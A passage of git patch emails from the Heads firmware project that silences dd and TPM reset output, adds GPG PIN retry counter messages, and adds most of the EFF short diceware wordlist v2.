From 48807de2223e315701adb0cab56c76f175043146 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 3 Dec 2024 11:22:03 -0500 Subject: [PATCH 389/619] codebase: silence dd output while capturing output in variables when needed Signed-off-by: Thierry Laurion --- initrd/bin/inject_firmware.sh | 2 +- initrd/bin/tpmr | 8 ++++---- initrd/bin/unpack_initramfs.sh | 2 +- initrd/mount-boot | 2 +- targets/qemu.mk | 2 +- 5 files changed, 8 insertions(+), 8 deletions(-) diff --git a/initrd/bin/inject_firmware.sh b/initrd/bin/inject_firmware.sh index 0de9e33c1..f9e6556e6 100755 --- a/initrd/bin/inject_firmware.sh +++ b/initrd/bin/inject_firmware.sh @@ -96,7 +96,7 @@ chmod a+x "$INITRD_ROOT/init" # Linux ignores zeros between archive segments, so any extra padding is not # harmful. FW_INITRD="/tmp/inject_firmware_initrd.cpio.gz" -dd if="$ORIG_INITRD" of="$FW_INITRD" bs=512 conv=sync status=none +dd if="$ORIG_INITRD" of="$FW_INITRD" bs=512 conv=sync status=none > /dev/null 2>&1 # Pack up the new contents and append to the initrd. Don't spend time # compressing this. (cd "$INITRD_ROOT"; find . | cpio -o -H newc) >>"$FW_INITRD" diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index 5adb48253..5d8a59531 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -332,7 +332,7 @@ tpm2_counter_create() { esac done prompt_tpm_owner_password - rand_index="1$(dd if=/dev/urandom bs=1 count=3 | xxd -pc3)" + rand_index="1$(dd if=/dev/urandom bs=1 count=3 2>/dev/null | xxd -pc3)" tpm2 nvdefine -C o -s 8 -a "ownerread|authread|authwrite|nt=1" \ -P "$(tpm2_password_hex "$(cat "/tmp/secret/tpm_owner_password")")" "0x$rand_index" >/dev/console || { @@ -412,7 +412,7 @@ tpm1_destroy() { index="$1" # Index of the sealed file size="$2" # Size of zeroes to overwrite for TPM1 - dd if=/dev/zero bs="$size" count=1 of=/tmp/wipe-totp-zero + dd if=/dev/zero bs="$size" count=1 of=/tmp/wipe-totp-zero > /dev/null 2>&1 tpm nv_writevalue -in "$index" -if /tmp/wipe-totp-zero || die "Unable to wipe sealed secret from TPM NVRAM" } @@ -690,7 +690,7 @@ tpm2_reset() { # The default lockout password is empty, so we must set this, and we # don't need to provide any auth (use the default empty password). tpm2 changeauth -Q -c lockout \ - "hex:$(dd if=/dev/urandom bs=32 count=1 status=none | xxd -p | tr -d ' \n')" + "hex:$(dd if=/dev/urandom bs=32 count=1 status=none 2>/dev/null | xxd -p | tr -d ' \n')" } tpm1_reset() { TRACE_FUNC @@ -729,7 +729,7 @@ tpm2_kexec_finalize() { # being cleared in the OS. # This passphrase is only effective before the next boot. echo "Locking TPM2 platform hierarchy..." - randpass=$(dd if=/dev/urandom bs=4 count=1 status=none | xxd -p) + randpass=$(dd if=/dev/urandom bs=4 count=1 status=none 2>/dev/null | xxd -p) tpm2 changeauth -c platform "$randpass" || warn "Failed to lock platform hierarchy of TPM2" } diff --git a/initrd/bin/unpack_initramfs.sh b/initrd/bin/unpack_initramfs.sh index 772131188..4fff52f60 100755 --- a/initrd/bin/unpack_initramfs.sh +++ b/initrd/bin/unpack_initramfs.sh @@ -61,7 +61,7 @@ unpack_first_segment() { mkdir -p "$dest_dir" # peek the beginning of the file to determine what type of content is next - magic="$(dd if="$unpack_archive" bs=6 count=1 status=none | xxd -p)" + magic="$(dd if="$unpack_archive" bs=6 count=1 status=none 2>/dev/null | xxd -p)" # read this segment of the archive, then write the rest to the next file ( diff --git a/initrd/mount-boot b/initrd/mount-boot index 42e4c9ae5..be02e08d8 100755 --- a/initrd/mount-boot +++ b/initrd/mount-boot @@ -36,7 +36,7 @@ dev_blocks=`cat "$dev_size_file"` # # Extract the signed file from the hard disk image # -if ! dd if="$dev" of="$cmd_sig" bs=512 skip="`expr $dev_blocks - 1`"; then +if ! dd if="$dev" of="$cmd_sig" bs=512 skip="`expr $dev_blocks - 1`" > /dev/null 2>&1; then echo >&2 '!!!!!' echo >&2 '!!!!! Boot block extraction failed' echo >&2 '!!!!! Dropping to recovery shell' diff --git a/targets/qemu.mk b/targets/qemu.mk index d5d7dc018..5520ebcdf 100644 --- a/targets/qemu.mk +++ b/targets/qemu.mk @@ -45,7 +45,7 @@ $(MEMORY_SIZE_FILE): @echo "$(QEMU_MEMORY_SIZE)" >"$(MEMORY_SIZE_FILE)" USB_FD_IMG=$(build)/$(BOARD)/usb_fd.raw $(USB_FD_IMG): - dd if=/dev/zero bs=1M of="$(USB_FD_IMG)" bs=1M count=256 + dd if=/dev/zero bs=1M of="$(USB_FD_IMG)" bs=1M count=256 >/dev/null 2>&1 # Debian obnoxiously does not include /usr/sbin in PATH for non-root, even # though it is meaningful to use mkfs.vfat (etc.) as non-root MKFS_VFAT=mkfs.vfat; \ From 3726e9083fba7538e0fc08ce73d759c0bb83a628 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 3 Dec 2024 12:20:21 -0500 Subject: [PATCH 390/619] initrd/bin/tmpr: silence tpm reset console output, LOG instead Signed-off-by: Thierry Laurion --- initrd/bin/tpmr | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index 5d8a59531..65ecbe534 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -650,15 +650,15 @@ tpm2_reset() { # output TPM Owner Password to a file to be reused in this boot session until recovery shell/reboot DEBUG "Caching TPM Owner Password to $SECRET_DIR/tpm_owner_password" echo -n "$tpm_owner_password" >"$SECRET_DIR/tpm_owner_password" - tpm2 clear -c platform || warn "Unable to clear TPM on platform hierarchy" - tpm2 changeauth -c owner "$(tpm2_password_hex "$tpm_owner_password")" - tpm2 changeauth -c endorsement "$(tpm2_password_hex "$tpm_owner_password")" + tpm2 clear -c platform > /dev/null 2>&1 || LOG "Unable to clear TPM on platform hierarchy" + tpm2 changeauth -c owner "$(tpm2_password_hex "$tpm_owner_password")" > /dev/null 2>&1 || LOG "Unable to change owner password" + tpm2 changeauth -c endorsement "$(tpm2_password_hex "$tpm_owner_password")" > /dev/null 2>&1 || LOG "Unable to change endorsement password" tpm2 createprimary -C owner -g sha256 -G "${CONFIG_PRIMARY_KEY_TYPE:-rsa}" \ - -c "$SECRET_DIR/primary.ctx" -P "$(tpm2_password_hex "$tpm_owner_password")" + -c "$SECRET_DIR/primary.ctx" -P "$(tpm2_password_hex "$tpm_owner_password")" > /dev/null 2>&1 || LOG "Unable to create primary key" tpm2 evictcontrol -C owner -c "$SECRET_DIR/primary.ctx" "$PRIMARY_HANDLE" \ - -P "$(tpm2_password_hex "$tpm_owner_password")" - shred -u "$SECRET_DIR/primary.ctx" - tpm2_startsession + -P "$(tpm2_password_hex "$tpm_owner_password")" > /dev/null 2>&1 || LOG "Unable to evict primary key" + shred -u "$SECRET_DIR/primary.ctx" > /dev/null 2>&1 + tpm2_startsession > /dev/null 2>&1 || LOG "Unable to start session" # Set the dictionary attack parameters. TPM2 defaults vary widely, we # want consistent behavior on any TPM. @@ -681,7 +681,7 @@ tpm2_reset() { --max-tries=10 \ --recovery-time=3600 \ --lockout-recovery-time=0 \ - --auth="session:$ENC_SESSION_FILE" + --auth="session:$ENC_SESSION_FILE" > /dev/null 2>&1 || LOG "Unable to set dictionary lockout parameters" # Set a random DA lockout password, so the DA lockout can't be cleared # with a password. Heads doesn't offer dictionary attach reset, instead @@ -690,7 +690,7 @@ tpm2_reset() { # The default lockout password is empty, so we must set this, and we # don't need to provide any auth (use the default empty password). tpm2 changeauth -Q -c lockout \ - "hex:$(dd if=/dev/urandom bs=32 count=1 status=none 2>/dev/null | xxd -p | tr -d ' \n')" + "hex:$(dd if=/dev/urandom bs=32 count=1 status=none 2>/dev/null | xxd -p | tr -d ' \n')" > /dev/null 2>&1 || LOG "Unable to set lockout password" } tpm1_reset() { TRACE_FUNC @@ -700,17 +700,17 @@ tpm1_reset() { DEBUG "Caching TPM Owner Password to $SECRET_DIR/tpm_owner_password" echo -n "$tpm_owner_password" >"$SECRET_DIR/tpm_owner_password" # Make sure the TPM is ready to be reset - tpm physicalpresence -s - tpm physicalenable - tpm physicalsetdeactivated -c - tpm forceclear - tpm physicalenable - tpm takeown -pwdo "$tpm_owner_password" + tpm physicalpresence -s > /dev/null 2>&1 || LOG "Unable to assert physical presence" + tpm physicalenable > /dev/null 2>&1 || >LOG "Unable to enable TPM" + tpm physicalsetdeactivated -c > /dev/null 2>&1 || LOG "Unable to deactivate TPM" + tpm forceclear -pwdo "$tpm_owner_password" > /dev/null 2>&1 || LOG "Unable to clear TPM" + tpm physicalenable > /dev/null 2>&1 || LOG "Unable to enable TPM" + tpm takeown -pwdo "$tpm_owner_password" > /dev/null 2>&1 || LOG "Unable to take ownership of TPM" # And now turn it all back on - tpm physicalpresence -s - tpm physicalenable - tpm physicalsetdeactivated -c + tpm physicalpresence -s > /dev/null 2>&1 || LOG "Unable to assert physical presence" + tpm physicalenable > /dev/null 2>&1 || LOG "Unable to enable TPM" + tpm physicalsetdeactivated -c > /dev/null 2>&1 || LOG "Unable to deactivate TPM" } # Perform final cleanup before boot and lock the platform heirarchy. From d57a1209129461e6a2c58cca3c326d4260ccdb12 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 3 Dec 2024 12:48:32 -0500 Subject: [PATCH 391/619] initrd/etc/ash_functions: add GPG Admin/User PIN output grabbing on confirm_gpg_card presence call, echo for now, warn to input GPG User PIN when asked to unlock GPG card Mitigate misunderstands and show GPG User/Admin PIN counts until proper output exists under hotp_verification info to reduce global confusion Add TODO under initrd/bin/seal-hotpkey to not foget to fix output since now outputting counter of 8 for Admin PIN which makes no sense at all under hotp_verification 1.6 https://github.com/Nitrokey/nitrokey-hotp-verification/issues/38 Signed-off-by: Thierry Laurion --- initrd/bin/seal-hotpkey | 1 + initrd/etc/ash_functions | 17 +++++++++++++++-- 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index 3f91edcc9..957b94240 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -105,6 +105,7 @@ awk_get_admin_counter="$awk_admin_counter_regex"' { print gensub('"$awk_admin_co admin_pin_retries="$(echo "$hotp_token_info" | awk "$awk_get_admin_counter")" admin_pin_retries="${admin_pin_retries:-0}" DEBUG "Admin PIN retry counter is $admin_pin_retries" +#TODO: as per hotp_verification 1.6: this is 8 for nk3 and wrong. FIX # Try using factory default admin PIN for 1 month following OEM reset to ease # initial setup. But don't do it forever to encourage changing the PIN and diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index 735c8760c..c0182002a 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -154,7 +154,7 @@ confirm_gpg_card() { # ensure we don't exit without retrying errexit=$(set -o | grep errexit | awk '{print $2}') set +e - gpg --card-status >/dev/null + gpg_output=$(gpg --card-status 2>&1) if [ $? -ne 0 ]; then # prompt for reinsertion and try a second time read -n1 -r -p \ @@ -165,13 +165,26 @@ confirm_gpg_card() { set -e fi # retry card status - gpg --card-status >/dev/null || + gpg_output=$(gpg --card-status 2>&1) || die "gpg card read failed" fi # restore prev errexit state if [ "$errexit" = "on" ]; then set -e fi + + # Extract and display GPG PIN retry counters + # output excerpt: "PIN retry counter : 3 0 3" + pin_retry_counters=$(echo "$gpg_output" | grep 'PIN retry counter' | awk -F': ' '{print $2}') + user_pin_retries=$(echo "$pin_retry_counters" | awk '{print $1}') + admin_pin_retries=$(echo "$pin_retry_counters" | awk '{print $3}') + + echo "" + echo "GPG User PIN retry attempts left before becoming locked: $user_pin_retries" + echo "GPG Admin PIN retry attempts left before becoming locked: $admin_pin_retries" + echo "" + warn "Your GPG User PIN, followed by Enter key will be required for input at: 'Please unlock the card' next prompt" + echo "" } gpg_auth() { From befef09b7f02330e5cbdc0bea1f3bcbbebfe34fe Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 15 Nov 2024 15:46:51 -0500 Subject: [PATCH 392/619] diceware: add short list v2, requiring 4 dices and providing longer words then short list v1 for easier to remember passphrases This lists comes from https://www.eff.org/files/2016/09/08/eff_short_wordlist_2_0.txt Refered in article: https://www.eff.org/dice Signed-off-by: Thierry Laurion --- .../eff_short_wordlist_2_0.txt | 1296 +++++++++++++++++ 1 file changed, 1296 insertions(+) create mode 100644 initrd/etc/diceware_dictionnaries/eff_short_wordlist_2_0.txt diff --git a/initrd/etc/diceware_dictionnaries/eff_short_wordlist_2_0.txt b/initrd/etc/diceware_dictionnaries/eff_short_wordlist_2_0.txt new file mode 100644 index 000000000..ae09babe4 --- /dev/null +++ b/initrd/etc/diceware_dictionnaries/eff_short_wordlist_2_0.txt @@ -0,0 +1,1296 @@ +1111 aardvark +1112 abandoned +1113 abbreviate +1114 abdomen +1115 abhorrence +1116 abiding +1121 abnormal +1122 abrasion +1123 absorbing +1124 abundant +1125 abyss +1126 academy +1131 accountant +1132 acetone +1133 achiness +1134 acid +1135 acoustics +1136 acquire +1141 acrobat +1142 actress +1143 acuteness +1144 aerosol +1145 aesthetic +1146 affidavit +1151 afloat +1152 afraid +1153 aftershave +1154 again +1155 agency +1156 aggressor +1161 aghast +1162 agitate +1163 agnostic +1164 agonizing +1165 agreeing +1166 aidless +1211 aimlessly +1212 ajar +1213 alarmclock +1214 albatross +1215 alchemy +1216 alfalfa +1221 algae +1222 aliens +1223 alkaline +1224 almanac +1225 alongside +1226 alphabet +1231 already +1232 also +1233 altitude +1234 aluminum +1235 always +1236 amazingly +1241 ambulance +1242 amendment +1243 amiable +1244 ammunition +1245 amnesty +1246 amoeba +1251 amplifier +1252 amuser +1253 anagram +1254 anchor +1255 android +1256 anesthesia +1261 angelfish +1262 animal +1263 anklet +1264 announcer +1265 anonymous +1266 answer +1311 antelope +1312 anxiety +1313 anyplace +1314 aorta +1315 apartment +1316 apnea +1321 apostrophe +1322 apple +1323 apricot +1324 aquamarine +1325 arachnid +1326 arbitrate +1331 ardently +1332 arena +1333 argument +1334 aristocrat +1335 armchair +1336 aromatic +1341 arrowhead +1342 arsonist +1343 artichoke +1344 asbestos +1345 ascend +1346 aseptic +1351 ashamed +1352 asinine +1353 asleep +1354 asocial +1355 asparagus +1356 astronaut +1361 asymmetric +1362 atlas +1363 atmosphere +1364 atom +1365 atrocious +1366 attic +1411 atypical +1412 auctioneer +1413 auditorium +1414 augmented +1415 auspicious +1416 automobile +1421 auxiliary +1422 avalanche +1423 avenue +1424 aviator +1425 avocado +1426 awareness +1431 awhile +1432 awkward +1433 awning +1434 awoke +1435 axially +1436 azalea +1441 babbling +1442 backpack +1443 badass +1444 bagpipe +1445 bakery +1446 balancing +1451 bamboo +1452 banana +1453 barracuda +1454 basket +1455 bathrobe +1456 bazooka +1461 blade +1462 blender +1463 blimp +1464 blouse +1465 blurred +1466 boatyard +1511 bobcat +1512 body +1513 bogusness +1514 bohemian +1515 boiler +1516 bonnet +1521 boots +1522 borough +1523 bossiness +1524 bottle +1525 bouquet +1526 boxlike +1531 breath +1532 briefcase +1533 broom +1534 brushes +1535 bubblegum +1536 buckle +1541 buddhist +1542 buffalo +1543 bullfrog +1544 bunny +1545 busboy +1546 buzzard +1551 cabin +1552 cactus +1553 cadillac +1554 cafeteria +1555 cage +1556 cahoots +1561 cajoling +1562 cakewalk +1563 calculator +1564 camera +1565 canister +1566 capsule +1611 carrot +1612 cashew +1613 cathedral +1614 caucasian +1615 caviar +1616 ceasefire +1621 cedar +1622 celery +1623 cement +1624 census +1625 ceramics +1626 cesspool +1631 chalkboard +1632 cheesecake +1633 chimney +1634 chlorine +1635 chopsticks +1636 chrome +1641 chute +1642 cilantro +1643 cinnamon +1644 circle +1645 cityscape +1646 civilian +1651 clay +1652 clergyman +1653 clipboard +1654 clock +1655 clubhouse +1656 coathanger +1661 cobweb +1662 coconut +1663 codeword +1664 coexistent +1665 coffeecake +1666 cognitive +2111 cohabitate +2112 collarbone +2113 computer +2114 confetti +2115 copier +2116 cornea +2121 cosmetics +2122 cotton +2123 couch +2124 coverless +2125 coyote +2126 coziness +2131 crawfish +2132 crewmember +2133 crib +2134 croissant +2135 crumble +2136 crystal +2141 cubical +2142 cucumber +2143 cuddly +2144 cufflink +2145 cuisine +2146 culprit +2151 cup +2152 curry +2153 cushion +2154 cuticle +2155 cybernetic +2156 cyclist +2161 cylinder +2162 cymbal +2163 cynicism +2164 cypress +2165 cytoplasm +2166 dachshund +2211 daffodil +2212 dagger +2213 dairy +2214 dalmatian +2215 dandelion +2216 dartboard +2221 dastardly +2222 datebook +2223 daughter +2224 dawn +2225 daytime +2226 dazzler +2231 dealer +2232 debris +2233 decal +2234 dedicate +2235 deepness +2236 defrost +2241 degree +2242 dehydrator +2243 deliverer +2244 democrat +2245 dentist +2246 deodorant +2251 depot +2252 deranged +2253 desktop +2254 detergent +2255 device +2256 dexterity +2261 diamond +2262 dibs +2263 dictionary +2264 diffuser +2265 digit +2266 dilated +2311 dimple +2312 dinnerware +2313 dioxide +2314 diploma +2315 directory +2316 dishcloth +2321 ditto +2322 dividers +2323 dizziness +2324 doctor +2325 dodge +2326 doll +2331 dominoes +2332 donut +2333 doorstep +2334 dorsal +2335 double +2336 downstairs +2341 dozed +2342 drainpipe +2343 dresser +2344 driftwood +2345 droppings +2346 drum +2351 dryer +2352 dubiously +2353 duckling +2354 duffel +2355 dugout +2356 dumpster +2361 duplex +2362 durable +2363 dustpan +2364 dutiful +2365 duvet +2366 dwarfism +2411 dwelling +2412 dwindling +2413 dynamite +2414 dyslexia +2415 eagerness +2416 earlobe +2421 easel +2422 eavesdrop +2423 ebook +2424 eccentric +2425 echoless +2426 eclipse +2431 ecosystem +2432 ecstasy +2433 edged +2434 editor +2435 educator +2436 eelworm +2441 eerie +2442 effects +2443 eggnog +2444 egomaniac +2445 ejection +2446 elastic +2451 elbow +2452 elderly +2453 elephant +2454 elfishly +2455 eliminator +2456 elk +2461 elliptical +2462 elongated +2463 elsewhere +2464 elusive +2465 elves +2466 emancipate +2511 embroidery +2512 emcee +2513 emerald +2514 emission +2515 emoticon +2516 emperor +2521 emulate +2522 enactment +2523 enchilada +2524 endorphin +2525 energy +2526 enforcer +2531 engine +2532 enhance +2533 enigmatic +2534 enjoyably +2535 enlarged +2536 enormous +2541 enquirer +2542 enrollment +2543 ensemble +2544 entryway +2545 enunciate +2546 envoy +2551 enzyme +2552 epidemic +2553 equipment +2554 erasable +2555 ergonomic +2556 erratic +2561 eruption +2562 escalator +2563 eskimo +2564 esophagus +2565 espresso +2566 essay +2611 estrogen +2612 etching +2613 eternal +2614 ethics +2615 etiquette +2616 eucalyptus +2621 eulogy +2622 euphemism +2623 euthanize +2624 evacuation +2625 evergreen +2626 evidence +2631 evolution +2632 exam +2633 excerpt +2634 exerciser +2635 exfoliate +2636 exhale +2641 exist +2642 exorcist +2643 explode +2644 exquisite +2645 exterior +2646 exuberant +2651 fabric +2652 factory +2653 faded +2654 failsafe +2655 falcon +2656 family +2661 fanfare +2662 fasten +2663 faucet +2664 favorite +2665 feasibly +2666 february +3111 federal +3112 feedback +3113 feigned +3114 feline +3115 femur +3116 fence +3121 ferret +3122 festival +3123 fettuccine +3124 feudalist +3125 feverish +3126 fiberglass +3131 fictitious +3132 fiddle +3133 figurine +3134 fillet +3135 finalist +3136 fiscally +3141 fixture +3142 flashlight +3143 fleshiness +3144 flight +3145 florist +3146 flypaper +3151 foamless +3152 focus +3153 foggy +3154 folksong +3155 fondue +3156 footpath +3161 fossil +3162 fountain +3163 fox +3164 fragment +3165 freeway +3166 fridge +3211 frosting +3212 fruit +3213 fryingpan +3214 gadget +3215 gainfully +3216 gallstone +3221 gamekeeper +3222 gangway +3223 garlic +3224 gaslight +3225 gathering +3226 gauntlet +3231 gearbox +3232 gecko +3233 gem +3234 generator +3235 geographer +3236 gerbil +3241 gesture +3242 getaway +3243 geyser +3244 ghoulishly +3245 gibberish +3246 giddiness +3251 giftshop +3252 gigabyte +3253 gimmick +3254 giraffe +3255 giveaway +3256 gizmo +3261 glasses +3262 gleeful +3263 glisten +3264 glove +3265 glucose +3266 glycerin +3311 gnarly +3312 gnomish +3313 goatskin +3314 goggles +3315 goldfish +3316 gong +3321 gooey +3322 gorgeous +3323 gosling +3324 gothic +3325 gourmet +3326 governor +3331 grape +3332 greyhound +3333 grill +3334 groundhog +3335 grumbling +3336 guacamole +3341 guerrilla +3342 guitar +3343 gullible +3344 gumdrop +3345 gurgling +3346 gusto +3351 gutless +3352 gymnast +3353 gynecology +3354 gyration +3355 habitat +3356 hacking +3361 haggard +3362 haiku +3363 halogen +3364 hamburger +3365 handgun +3366 happiness +3411 hardhat +3412 hastily +3413 hatchling +3414 haughty +3415 hazelnut +3416 headband +3421 hedgehog +3422 hefty +3423 heinously +3424 helmet +3425 hemoglobin +3426 henceforth +3431 herbs +3432 hesitation +3433 hexagon +3434 hubcap +3435 huddling +3436 huff +3441 hugeness +3442 hullabaloo +3443 human +3444 hunter +3445 hurricane +3446 hushing +3451 hyacinth +3452 hybrid +3453 hydrant +3454 hygienist +3455 hypnotist +3456 ibuprofen +3461 icepack +3462 icing +3463 iconic +3464 identical +3465 idiocy +3466 idly +3511 igloo +3512 ignition +3513 iguana +3514 illuminate +3515 imaging +3516 imbecile +3521 imitator +3522 immigrant +3523 imprint +3524 iodine +3525 ionosphere +3526 ipad +3531 iphone +3532 iridescent +3533 irksome +3534 iron +3535 irrigation +3536 island +3541 isotope +3542 issueless +3543 italicize +3544 itemizer +3545 itinerary +3546 itunes +3551 ivory +3552 jabbering +3553 jackrabbit +3554 jaguar +3555 jailhouse +3556 jalapeno +3561 jamboree +3562 janitor +3563 jarring +3564 jasmine +3565 jaundice +3566 jawbreaker +3611 jaywalker +3612 jazz +3613 jealous +3614 jeep +3615 jelly +3616 jeopardize +3621 jersey +3622 jetski +3623 jezebel +3624 jiffy +3625 jigsaw +3626 jingling +3631 jobholder +3632 jockstrap +3633 jogging +3634 john +3635 joinable +3636 jokingly +3641 journal +3642 jovial +3643 joystick +3644 jubilant +3645 judiciary +3646 juggle +3651 juice +3652 jujitsu +3653 jukebox +3654 jumpiness +3655 junkyard +3656 juror +3661 justifying +3662 juvenile +3663 kabob +3664 kamikaze +3665 kangaroo +3666 karate +4111 kayak +4112 keepsake +4113 kennel +4114 kerosene +4115 ketchup +4116 khaki +4121 kickstand +4122 kilogram +4123 kimono +4124 kingdom +4125 kiosk +4126 kissing +4131 kite +4132 kleenex +4133 knapsack +4134 kneecap +4135 knickers +4136 koala +4141 krypton +4142 laboratory +4143 ladder +4144 lakefront +4145 lantern +4146 laptop +4151 laryngitis +4152 lasagna +4153 latch +4154 laundry +4155 lavender +4156 laxative +4161 lazybones +4162 lecturer +4163 leftover +4164 leggings +4165 leisure +4166 lemon +4211 length +4212 leopard +4213 leprechaun +4214 lettuce +4215 leukemia +4216 levers +4221 lewdness +4222 liability +4223 library +4224 licorice +4225 lifeboat +4226 lightbulb +4231 likewise +4232 lilac +4233 limousine +4234 lint +4235 lioness +4236 lipstick +4241 liquid +4242 listless +4243 litter +4244 liverwurst +4245 lizard +4246 llama +4251 luau +4252 lubricant +4253 lucidity +4254 ludicrous +4255 luggage +4256 lukewarm +4261 lullaby +4262 lumberjack +4263 lunchbox +4264 luridness +4265 luscious +4266 luxurious +4311 lyrics +4312 macaroni +4313 maestro +4314 magazine +4315 mahogany +4316 maimed +4321 majority +4322 makeover +4323 malformed +4324 mammal +4325 mango +4326 mapmaker +4331 marbles +4332 massager +4333 matchstick +4334 maverick +4335 maximum +4336 mayonnaise +4341 moaning +4342 mobilize +4343 moccasin +4344 modify +4345 moisture +4346 molecule +4351 momentum +4352 monastery +4353 moonshine +4354 mortuary +4355 mosquito +4356 motorcycle +4361 mousetrap +4362 movie +4363 mower +4364 mozzarella +4365 muckiness +4366 mudflow +4411 mugshot +4412 mule +4413 mummy +4414 mundane +4415 muppet +4416 mural +4421 mustard +4422 mutation +4423 myriad +4424 myspace +4425 myth +4426 nail +4431 namesake +4432 nanosecond +4433 napkin +4434 narrator +4435 nastiness +4436 natives +4441 nautically +4442 navigate +4443 nearest +4444 nebula +4445 nectar +4446 nefarious +4451 negotiator +4452 neither +4453 nemesis +4454 neoliberal +4455 nephew +4456 nervously +4461 nest +4462 netting +4463 neuron +4464 nevermore +4465 nextdoor +4466 nicotine +4511 niece +4512 nimbleness +4513 nintendo +4514 nirvana +4515 nuclear +4516 nugget +4521 nuisance +4522 nullify +4523 numbing +4524 nuptials +4525 nursery +4526 nutcracker +4531 nylon +4532 oasis +4533 oat +4534 obediently +4535 obituary +4536 object +4541 obliterate +4542 obnoxious +4543 observer +4544 obtain +4545 obvious +4546 occupation +4551 oceanic +4552 octopus +4553 ocular +4554 office +4555 oftentimes +4556 oiliness +4561 ointment +4562 older +4563 olympics +4564 omissible +4565 omnivorous +4566 oncoming +4611 onion +4612 onlooker +4613 onstage +4614 onward +4615 onyx +4616 oomph +4621 opaquely +4622 opera +4623 opium +4624 opossum +4625 opponent +4626 optical +4631 opulently +4632 oscillator +4633 osmosis +4634 ostrich +4635 otherwise +4636 ought +4641 outhouse +4642 ovation +4643 oven +4644 owlish +4645 oxford +4646 oxidize +4651 oxygen +4652 oyster +4653 ozone +4654 pacemaker +4655 padlock +4656 pageant +4661 pajamas +4662 palm +4663 pamphlet +4664 pantyhose +4665 paprika +4666 parakeet +5111 passport +5112 patio +5113 pauper +5114 pavement +5115 payphone +5116 pebble +5121 peculiarly +5122 pedometer +5123 pegboard +5124 pelican +5125 penguin +5126 peony +5131 pepperoni +5132 peroxide +5133 pesticide +5134 petroleum +5135 pewter +5136 pharmacy +5141 pheasant +5142 phonebook +5143 phrasing +5144 physician +5145 plank +5146 pledge +5151 plotted +5152 plug +5153 plywood +5154 pneumonia +5155 podiatrist +5156 poetic +5161 pogo +5162 poison +5163 poking +5164 policeman +5165 poncho +5166 popcorn +5211 porcupine +5212 postcard +5213 poultry +5214 powerboat +5215 prairie +5216 pretzel +5221 princess +5222 propeller +5223 prune +5224 pry +5225 pseudo +5226 psychopath +5231 publisher +5232 pucker +5233 pueblo +5234 pulley +5235 pumpkin +5236 punchbowl +5241 puppy +5242 purse +5243 pushup +5244 putt +5245 puzzle +5246 pyramid +5251 python +5252 quarters +5253 quesadilla +5254 quilt +5255 quote +5256 racoon +5261 radish +5262 ragweed +5263 railroad +5264 rampantly +5265 rancidity +5266 rarity +5311 raspberry +5312 ravishing +5313 rearrange +5314 rebuilt +5315 receipt +5316 reentry +5321 refinery +5322 register +5323 rehydrate +5324 reimburse +5325 rejoicing +5326 rekindle +5331 relic +5332 remote +5333 renovator +5334 reopen +5335 reporter +5336 request +5341 rerun +5342 reservoir +5343 retriever +5344 reunion +5345 revolver +5346 rewrite +5351 rhapsody +5352 rhetoric +5353 rhino +5354 rhubarb +5355 rhyme +5356 ribbon +5361 riches +5362 ridden +5363 rigidness +5364 rimmed +5365 riptide +5366 riskily +5411 ritzy +5412 riverboat +5413 roamer +5414 robe +5415 rocket +5416 romancer +5421 ropelike +5422 rotisserie +5423 roundtable +5424 royal +5425 rubber +5426 rudderless +5431 rugby +5432 ruined +5433 rulebook +5434 rummage +5435 running +5436 rupture +5441 rustproof +5442 sabotage +5443 sacrifice +5444 saddlebag +5445 saffron +5446 sainthood +5451 saltshaker +5452 samurai +5453 sandworm +5454 sapphire +5455 sardine +5456 sassy +5461 satchel +5462 sauna +5463 savage +5464 saxophone +5465 scarf +5466 scenario +5511 schoolbook +5512 scientist +5513 scooter +5514 scrapbook +5515 sculpture +5516 scythe +5521 secretary +5522 sedative +5523 segregator +5524 seismology +5525 selected +5526 semicolon +5531 senator +5532 septum +5533 sequence +5534 serpent +5535 sesame +5536 settler +5541 severely +5542 shack +5543 shelf +5544 shirt +5545 shovel +5546 shrimp +5551 shuttle +5552 shyness +5553 siamese +5554 sibling +5555 siesta +5556 silicon +5561 simmering +5562 singles +5563 sisterhood +5564 sitcom +5565 sixfold +5566 sizable +5611 skateboard +5612 skeleton +5613 skies +5614 skulk +5615 skylight +5616 slapping +5621 sled +5622 slingshot +5623 sloth +5624 slumbering +5625 smartphone +5626 smelliness +5631 smitten +5632 smokestack +5633 smudge +5634 snapshot +5635 sneezing +5636 sniff +5641 snowsuit +5642 snugness +5643 speakers +5644 sphinx +5645 spider +5646 splashing +5651 sponge +5652 sprout +5653 spur +5654 spyglass +5655 squirrel +5656 statue +5661 steamboat +5662 stingray +5663 stopwatch +5664 strawberry +5665 student +5666 stylus +6111 suave +6112 subway +6113 suction +6114 suds +6115 suffocate +6116 sugar +6121 suitcase +6122 sulphur +6123 superstore +6124 surfer +6125 sushi +6126 swan +6131 sweatshirt +6132 swimwear +6133 sword +6134 sycamore +6135 syllable +6136 symphony +6141 synagogue +6142 syringes +6143 systemize +6144 tablespoon +6145 taco +6146 tadpole +6151 taekwondo +6152 tagalong +6153 takeout +6154 tallness +6155 tamale +6156 tanned +6161 tapestry +6162 tarantula +6163 tastebud +6164 tattoo +6165 tavern +6166 thaw +6211 theater +6212 thimble +6213 thorn +6214 throat +6215 thumb +6216 thwarting +6221 tiara +6222 tidbit +6223 tiebreaker +6224 tiger +6225 timid +6226 tinsel +6231 tiptoeing +6232 tirade +6233 tissue +6234 tractor +6235 tree +6236 tripod +6241 trousers +6242 trucks +6243 tryout +6244 tubeless +6245 tuesday +6246 tugboat +6251 tulip +6252 tumbleweed +6253 tupperware +6254 turtle +6255 tusk +6256 tutorial +6261 tuxedo +6262 tweezers +6263 twins +6264 tyrannical +6265 ultrasound +6266 umbrella 